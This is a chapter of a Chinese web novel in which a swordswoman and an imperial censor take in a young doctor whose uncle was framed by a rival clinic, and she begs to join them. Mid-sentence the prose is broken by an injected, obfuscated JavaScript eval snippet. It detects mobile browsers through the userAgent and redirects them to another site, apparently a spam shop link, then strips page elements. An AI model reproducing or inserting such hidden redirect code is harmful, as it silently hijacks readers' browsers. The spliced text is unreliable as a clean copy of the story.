“阿双?”萧韫眼中划过一抹惊喜,随即轻“嘶”一声,佯装痛苦地捂住心口,“我还是伤患,你这可就是恃强凌弱、不讲武德了。” 许妙仪挽了个剑花收剑入鞘,笑道:“伤患?我看你恢复得挺不错啊。” “一切可还顺利?”萧韫问。 “顺利得不得了。”许妙仪说着,压低了声音,“镖局这边可有动静?” 萧韫笑道:“若是有异动,我就不会坦然站在此处了。” “也是。”许妙仪点点头,又将郑嫣突然上门之事一说,道,“从蓝钰那儿回来后,我得赶紧去别院一趟,看看嫣儿。” “我也去。”萧韫道。 许妙仪调侃道:“你还是伤患呢,可不能轻易出门走动。” 萧韫神情滞了一瞬,随即一挑眉尾,讨好地笑道:“这不是有阿双保护嘛。” “我可没义务保护你,你又没给我开工资。”许妙仪抱手傲骄道。 话音刚落,便见萧韫忽然弯腰凑到了她面前。她可以清晰看见,跳跃在他睫羽上的点点金芒,以及那被染成剔透琥珀的眸中纹路。她不禁呼吸一滞,心跳莫名加快。 “那某现在诚恳聘请许娘子,为某保驾护航,如何?”萧韫声线轻柔。 许妙仪连忙错开目光,道:“聘请我可是很贵的。” “多贵都行。”萧韫道。 许妙仪唇畔浮上一丝笑意,冲萧韫伸出拳头:“成交。” 萧韫笑意深深,出拳同许妙仪的手轻轻碰了一下。 走镖回来的镖师会有一日的假,去何处无需与管事报备。 许妙仪领过工资,便和萧韫一同前往别院。 刚进大门,便见一个灰扑扑的人自大堂冲出,猛地扑到许妙仪怀中。 “双姐姐……”郑嫣哭得上气不接下气。 许妙仪回抱住郑嫣,一下一下地抚着她的后脑勺,像是在给动物顺毛。 半晌,待郑嫣哭声渐止,许妙仪方问道:“发生什么了?” 郑嫣自许妙仪的肩窝抬起头,露出一张花猫脸。再纵观她整个人,不光头发松散凌乱,衣服上还沾染了不少污渍,可谓是狼狈不堪。 许妙仪心生怜惜,轻柔地替郑嫣擦了擦脸。 郑嫣吸了吸鼻子,哽咽道:“前不久,我和舅舅一同研制了一副治风寒的方子,效果奇佳,很快就传扬开了,每天都有好多人排着队来买。 谁知被大医馆同仁堂诬告,说我们盗窃他的方子。我也不知道他到底拿出了什么证据,总之我舅舅作为主事人就被抓进了大牢。” “我本以为官府会秉公办案,谁知等了三日,传出来的却是,要没收医馆并永不许我们再行医的判决!”郑嫣抹了一把眼泪,“我听闻朝廷派来的监察御史正在青州城中养伤,于是四处打听其住所,想请御史为我们做主。” “可谁知,我还没见到御史,就先见到来抓我的官兵了——他们给我定了个莫须有的罪名!幸好我跑得快,又机智地藏在一辆运货的牛车里逃过了搜查。恰好这牛车是来阳泉的,我就想着来找姐姐了。” 许妙仪愤慨道:“这群没用的狗官,我迟早要叫他们滚下来!” 郑嫣愤然点头,附和道:“我看那御史也是个徒有虚名的草包夯货!名义上是监察地方政治得失,实际上自己躲在府中快活,好一个‘两耳不闻窗外事’!” 许妙仪闻言,忍俊不禁地瞧了萧韫一眼。 而萧韫则颇为平静,似乎并不意外。 “徒有虚名的监察御史就在这里。”许妙仪抬了抬下巴示意,揶揄道,“你现在可以有冤诉冤,有仇报仇了。” 郑嫣一愣,随即不可置信地瞪大了双眼,心中直呼“我草”,原来他就是监察御史、开国功勋之后、太子伴读、未来的平阳侯、国之栋梁! 震惊过后,再细细回味,这确实也在情理之中,毕竟萧韫面相气度不凡,她早就觉得他不像普通的侍卫。 郑嫣摸了摸鼻子,尴尬笑道:“抱一丝啊,我不知道你是……” 萧韫蹙眉,眸中泛起几分疑惑。许妙仪也目露困惑,问:“‘抱一丝’是何意?是你们那儿的方言吗?” 郑嫣后知后觉自己说了现代流行语,连忙顺着许妙仪的台阶下了:“对的,‘抱一丝’就是‘不好意思’的意思。” 萧韫轻咳一声,道:“如果某没记错的话,这同仁堂的主人姓赵,与青州司马是本家。” “赵启这老贼,以公徇私、贪赃枉法的事儿没少干!”许妙仪骂道。 萧韫颔首:“但赵家毕竟是青州的地头蛇,想要将其拔除绝无可能一蹴而就,所以我的属下一直有在暗中搜集赵家罪证。” 许妙仪对郑嫣道:“你放心,我们会还你们一个清白的。” 郑嫣满脸感激,退后两步,郑重地对萧许两人深深地鞠了一躬:“多谢两位!我虽然现在没什么本事,但我一定会竭尽我所能去报答你们的!” “你有这份心就好了。”许妙仪笑道,“对了,你接下来是直接回青州吧?” 郑嫣眸中泛起几分犹豫,似乎是在担忧什么。 许妙仪给萧韫递了个眼色,萧韫立马会意 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14341129|146578||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,道:“某可以让人送你,那样不会有人敢为难你的。” 郑嫣抿了抿唇,道:“我……不想回去。”说着,她渴求般地看向许妙仪,“我想跟着你们,可以吗?” 萧许两人皆是大出所料。 郑嫣见他们神色犹疑,于是连忙补充道:“我是学医的,医术还不错,一定能帮到你们的!” “你为何会有如此想法?”许妙仪怪道。 郑嫣喟叹一声,愁眉苦脸道:“我舅舅跟我只差了七岁,前不久才成亲。新舅妈不太喜欢我……平日里倒也就罢了,这几日舅舅出事,舅妈便骂我是丧门星,简直要把屋顶都掀了,我在家里根本待不下去……” “我想这矛盾并非一时可以调和,也不想让舅舅为难。但我若离开了舅舅,爸妈一定会逼我回去的!我思来想去,我在这儿唯一的、外面世界的朋友就是你们了。” 其实还有一层理由,她没有说出来—— 若她抱上了萧韫的大腿,便相当于端上了铁饭碗,后半生衣食无忧,光是想想就开心得不行。 许妙仪蹙着眉,认真道:“但你要知道,他是御史,行纠察百官歪风邪气、匡正法规纲纪之事,免不了会与人产生冲突。他本人都时不时遭到刺杀,何况他身边的人呢?” “没关系!我不怕的!”郑嫣赶忙道,“我虽然不会功夫,但我跑得贼快了,绝对不会拖累你们的!” 许妙仪仍是踌躇不定。 “好不好嘛姐姐~”郑嫣摇着许妙仪的胳膊撒娇,“你难道忍心看着我被迫嫁给一个不爱的男人,在柴米油盐、相夫教子中蹉跎此生吗?” 许妙仪心生动容,但经过仔细斟酌,最终还是拒绝了:“不行,跟着我们太危险了。我会想办法帮你说服你的父母,再替你在青州找一份足以安身立命的工作。” 郑嫣还欲再辨,许妙仪却先声夺人:“好了,你想必也饿了。你先去屋里等着,我让人去给你买吃的和新衣裳来。” “好吧。”郑嫣垂头丧气。 几人进了屋,许妙仪让人找来梳子,替郑嫣梳头。 期间,郑嫣多次想要开口求情,但每次都只说了一个音节,便会遭到许妙仪温柔而坚定的拒绝:“不行哦。” 郑嫣知道萧韫是向着许双的,料想此事没了转圜的余地,只能默默在心里为失之交臂的铁饭碗哀悼。 不多时,微风隐约送来一阵哀婉悠扬的笛声。 许妙仪侧耳听了一会儿,辨出笛声是东边传来的。接着,她又不自觉联想到简青川也是住在东面。恰好这时梳完了头,于是她迈步往外走,道:“我去看看简青川。” 萧韫当即沉了脸,斜眼冷冷看向李梧,咬牙切齿地低声询问:“他的笛子从哪儿来的?” 李梧惶恐无措,只觉百口莫辩:“他说他病中无聊,属下也一时没多想……” “十个大板记上。”萧韫冷冷说罢,拂袖跟上了许妙仪。 郑嫣好奇地问李梧:“简青川是谁啊?” “一个祸患。”李梧一本正经地道。说完,他快步出门。 郑嫣凭借多年的吃瓜经验,敏锐地感知到将有大事发生。她按捺不住看热闹的心,于是也跟了出去。